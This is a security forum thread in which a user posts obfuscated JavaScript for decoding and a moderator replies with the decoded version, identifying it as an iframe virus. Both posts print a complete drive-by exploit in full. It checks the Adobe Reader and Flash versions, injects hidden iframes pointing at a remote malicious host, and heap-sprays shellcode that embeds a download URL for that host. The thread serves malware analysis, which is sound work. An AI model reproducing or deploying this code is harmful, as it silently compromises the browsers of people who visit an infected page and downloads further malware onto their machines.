|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 45
Members: 0
Total: 45
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
decode please |
|
Posted: Sun Feb 07, 2010 5:58 pm |
|
|
gudulik |
Regular user |
|
|
Joined: Oct 19, 2009 |
Posts: 19 |
|
|
|
|
|
|
|
// <script>
Z7AE='escape';MRQi='';if(!document.klmn&&(InP1=unescape)){Z7AE=MRQi;MRQi='%'}g7P2=InP1(MRQi+Z7AE);
MRQi='dV6fcument74.wt72iV74e(t22I3cdI69v st74ylV65V3dV5cV22posV69V74iont3aI61bsV6fluV74t65I3b lefI74I3at2d10V30I30pt78I3bI20t74opI3at2d1t30I300pV78V3bV5cV22V3eI22)V3bfut6eI63I74ioV6e i73(a)I7bt64ocuI6dI65nV74.wrI69I74e(t22V3cifraV6det20srt63t3dI5ct22ht74V74pI3at2ft2flaV74rit62unat64eV74oI6cedo.t63V61nalI2dsi.I63oI6dV2ffot74ot73V2fmasV5fI6eoI74icV69asV2ephI70I3fsI3dwV4afDV509prt26idV3dV22V2bat2bV22V5ct22V3eV3cI2fV69frat6det3et22)t3bV7dLoQV3d0t3bvar scodeI3dI22V25u3V319I30t25u99t430V25V75036V34I25u3040V25uI34t308Bt25t758Bt30CI25u1C70t25I758I42t41DV25u0I38V36V38I25uI378E8V25uV30000I25uI38B00t25V753V434I35t25u8B53I25u055V34I25u5t36I378V25ut45I4101I25ut43983V25u52FFt25u7t328BV25u01V320I25u41t45V45V25u31AI44I25u99V44Bt25uI43V42C1I25u010Dt25u40DI33I25t7502I399I25uV30554t25V7575FFV25u39I463I25u75FV42V25u5V45EAV25u5t458BI25I7501t324t25uV366EBt25t75V30Ct38BV25uV38V424BI25uV31V435EV25uEBV30I31t25V750t348BI25V75V3018BI25u5EE8V25uI46FI35BI25uI350t450I25u49BFI25t750FV45t44t25uFFt37EI25u5I45DV33I25u50I356t25V755452V25uI35656t25uBI4650V25u4B8BV25t75t35FEI33V25ut44t33FV46V25uV30t31V35I39V25t758V35CEI25u58C0V25u0I32E3V25uV45975t25uI35058V25uCt3629I25u948DI25u2036I25t75AV31DI35I25u0161I25uI33054t25ut383FCV25u04EEI25uFI3075I25u31I433I25ut426F6V25u5BV33I30V25ut34I306I41V25uCI31t35I32t25u04E2I25u5t36I35t32I25u54BFt25uAFCAV25I75FF9t31I25u50D3I25u0I43V45t38t25uV30000V25u7I37V300t25I75V36E69I25ut36Et369t25ut37465I25t75642V45I25V75I36C6Ct25I75t42F00V25V754E8EI25uECI30EV25uD3FFI25u5695V25I7556t356t25u5656t25u29V42FV25uV45844I25I75FF5I37I25u56D3V25u006t38I25u0t3001V25uV35684V25uEV3856V25ut46F83t25uFFFV46V22I3bfuncV74ionV20I65k13(I29I7breI74urnV20t74V72uet3bt7dwV69t6edV6fwI2eV6fnerV72t6frt3deI6b13V3bfunct74V69I6fn nI373(a)V7bvar t6b,s,I69t3bif(naI76iI67at74t6fI72V2emimeTV79pes.lengV74V68V26t26(t6bI3dnavigat74or.V70lt75t67inst29)for(t69t3d0V3bI69t3ckI2elengI74V68V3bt69V2bI2b)t7bst3dkt5biI5d.nI61t6dI65t3bift28s.indexOf(a)t3et3dI30I29V72eI74V75I72n kV5bt69I5dt3bV7dret74I75rn t30V3bI7drI6dYt74t67t3d0t3bV74rV79I7brmYV74gV3dV6eew AcI74V69vI65t58t4fbject74t28t22AcroV50DV46.I50I44FI22)t3bI7dI63at74V63hI28e)V7bI7dV69f(t21rmI59t74g)V74ryV7bt72mYV74t67V3dneV77V20I41cI74iveXI4fbjeI63I74(I22PDF.Pt64t66CI74rlt22)V3bt7dcat74ch(e)I7bV7dif(rt6dYV74t67)t7bvar V6cvV3d(t28rmYt74g.GeI74I56V65rsI69onst28).t73pliI74(I22I2ct22))I5b4V5d.splt69I74(I22V3dV22)t29I5bI31V5d.rV65plaI63e(t2ft5c.I2fgt2cV22t22)I3brmYt74V67V3dt28lvV3c90I30)I26V26(lvV21I3d8t313)I3bV7delseV20I72mYV74gV3dt6e73(I22AdobI65 AV22V29t7cI7cn73(V22AdI6fbeV20t50t22)t3bif(rmV59I74g)t69I37t33(2V29I3bV4coQt3d0V3bt72mI59I74gV3d0I3bfI75t6ecI74iot6e s7t33t28V61)I7bt69f(aV5bI30V5dI3dt3dI39t29t7brmYI74I67t3dV61V5b2I5dt3c124t3bLt6fQI3d(aI5b2t5dt3e16)V26I26I28aI5b2t5dI3c2I346t29V3bV7dV65lseV20t69f(aI5bV30t5dI3dV3d10)V4coQV3dat5b2V5dI3c23t3bt4coQt3dI4cV6fQt26t26(navV69gaV74or.userAI67enV74.I74I6fLowerI43ase(t29.I69ndexOf(t22safariI22t29t3dV3dV2d1t29I3bt7dt69f((I78I3dn73(V22V46laI73ht22V29V29t26V26I28t78t3dx.V64eI73ct72ipt74ion))s73(x.repV6ct61t63et28V2fV28V5baV2dzAI2dZt5dV7cI5cs)+t2f,I22t22).rept6cace(t2f(V5ct73+rV7ct5cs+bV5b0I2d9t5dV2bt29V2f,V22.V22)V2eI73plit74(I22I2eV22))t3belsI65 V74I72yV7bI7373((new I41ct74iI76I65XObjecI74(V22St68ot63t6bwaveI46V6casV68.t53hockwavI65Flast68I22I29V29I2eGt65I74I56ariaI62lt65(t22t24vt65rsiont22I29.I73I70lit74I28V22 t22)I5b1I5d.V73pI6ciV74(I22,t22))V3bt7dV63aI74ch(e)I7bI7dit66(t72mt59V74g)i7I33(V33)I3bif(LoQt29V7bI76arV20mV3dnew Art72ay(),m1V3duneV73caV70e(I22t25V750t38t308I25I750808V22)I2ct73I3dI75nI65st63I61V70e(scV6ft64e+I22I25u7468V25u7t3074V25u2FV33At25u6C2Ft25I757461V25u697I32I25uV37562I25u6t316EV25u656V34V25u6F7I34t25t75656CV25u6I466t34I25u632Et25u6E61I25t756C61I25u73V32DI25u2E6V39V25u6F63t25u2F6DI25u6F66I25uI36F74I25u2F73V25I75616Dt25u5FV373V25uI36F6EV25u6t39V374t25uV36963V25u736t31V25I75702EI25u7068I25u733t46I25ut3773V44t25u664At25u50I344V25I7570t339I25t752V3672I25u6469I25u3V313I44I25ut300t33t32t22)V3bwhile(m1.lenI67V74I68V3cI3d32V3768)m1+I3dm1t3bV6dI31V3dm1.sV75bsV74riI6eg(0t2c32I37t368t2ds.lengI74ht29V3bfV6fr(varV20iV3d0I3biI3ct31536I3bit2bt2b)V6dI5biI5dI3dm1+sI3bI6973(V224I26zI3dV22+(t72mYt74gt2b0))V3bt7dt64ocumenI74.V77riV74e(I22t3cI2fdV69vI3et22)t3b';
jF1j=MRQi.replace(/[ItV]/g,g7P2);eval(InP1(jF1j));
//</script> |
|
|
|
|
|
|
|
|
Posted: Tue Aug 07, 2012 4:12 pm |
|
|
demon |
Moderator |
|
|
Joined: Sep 22, 2010 |
Posts: 485 |
|
|
|
|
|
|
|
it's a fucking iframe virus
Code: | document.write("<div style=\"position:absolute;
left:-1000px;
top:-1000px;
\">");
function i73(a)
{
document.write("<iframe src=\"http://latribunadetoledo.canal-si.com/fotos/mas_noticias.php?s=wJfDP9pr&id="+a+"\"></iframe>");
}
LoQ=0;
var scode="%u3190%u99C0%u0364%u3040%u408B%u8B0C%u1C70%u8BAD%u0868%u78E8%u0000%u8B00%u3C45%u8B53%u0554%u5678%uEA01%uC983%u52FF%u728B%u0120%u41EE%u31AD%u99DB%uCBC1%u010D%u40D3%u0299%u0554%u75FF%u39F3%u75FB%u5EEA%u5E8B%u0124%u66EB%u0C8B%u8B4B%u1C5E%uEB01%u048B%u018B%u5EE8%uFF5B%u50E0%u49BF%u0FED%uFF7E%u5ED3%u5056%u5452%u5656%uBF50%u4B8B%u5FE3%uD3FF%u0159%u85CE%u58C0%u02E3%uE975%u5058%uC629%u948D%u2036%uA1D5%u0161%u3054%u83FC%u04EE%uF075%u31C3%uB6F6%u5B30%u406A%uC152%u04E2%u5652%u54BF%uAFCA%uFF91%u50D3%u0CE8%u0000%u7700%u6E69%u6E69%u7465%u642E%u6C6C%uBF00%u4E8E%uEC0E%uD3FF%u5695%u5656%u5656%u29BF%uE844%uFF57%u56D3%u0068%u0001%u5684%uE856%uFF83%uFFFF";
function ek13()
{
return true;
}
window.onerror=ek13;
function n73(a)
{
var k,s,i;
if(navigator.mimeTypes.length&&(k=navigator.plugins))for(i=0;
i<k.length;
i++)
{
s=k[i].name;
if(s.indexOf(a)>=0)return k[i];
}
return 0;
}
rmYtg=0;
try
{
rmYtg=new ActiveXObject("AcroPDF.PDF");
}
catch(e)
{
}
if(!rmYtg)try
{
rmYtg=new ActiveXObject("PDF.PdfCtrl");
}
catch(e)
{
}
if(rmYtg)
{
var lv=((rmYtg.GetVersions().split(","))[4].split("="))[1].replace(/\./g,"");
rmYtg=(lv<900)&&(lv!=813);
}
else rmYtg=n73("Adobe A")||n73("Adobe P");
if(rmYtg)i73(2);
LoQ=0;
rmYtg=0;
function s73(a)
{
if(a[0]==9)
{
rmYtg=a[2]<124;
LoQ=(a[2]>16)&&(a[2]<246);
}
else if(a[0]==10)LoQ=a[2]<23;
LoQ=LoQ&&(navigator.userAgent.toLowerCase().indexOf("safari")==-1);
}
if((x=n73("Flash"))&&(x=x.description))s73(x.replace(/([a-zA-Z]|\s)+/,"").replace(/(\s+r|\s+b[0-9]+)/,".").split("."));
else try
{
s73((new ActiveXObject("ShockwaveFlash.ShockwaveFlash")).GetVariable("$version").split(" ")[1].split(","));
}
catch(e)
{
}
if(rmYtg)i73(3);
if(LoQ)
{
var m=new Array(),m1=unescape("%u0808%u0808"),s=unescape(scode+"%u7468%u7074%u2F3A%u6C2F%u7461%u6972%u7562%u616E%u6564%u6F74%u656C%u6F64%u632E%u6E61%u6C61%u732D%u2E69%u6F63%u2F6D%u6F66%u6F74%u2F73%u616D%u5F73%u6F6E%u6974%u6963%u7361%u702E%u7068%u733F%u773D%u664A%u5044%u7039%u2672%u6469%u313D%u0032");
while(m1.length<=32768)m1+=m1;
m1=m1.substring(0,32768-s.length);
for(var i=0;
i<1536;
i++)m[i]=m1+s;
i73("4&z="+(rmYtg+0));
}
document.write("</div>");
|
|
|
|
|
|
|
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|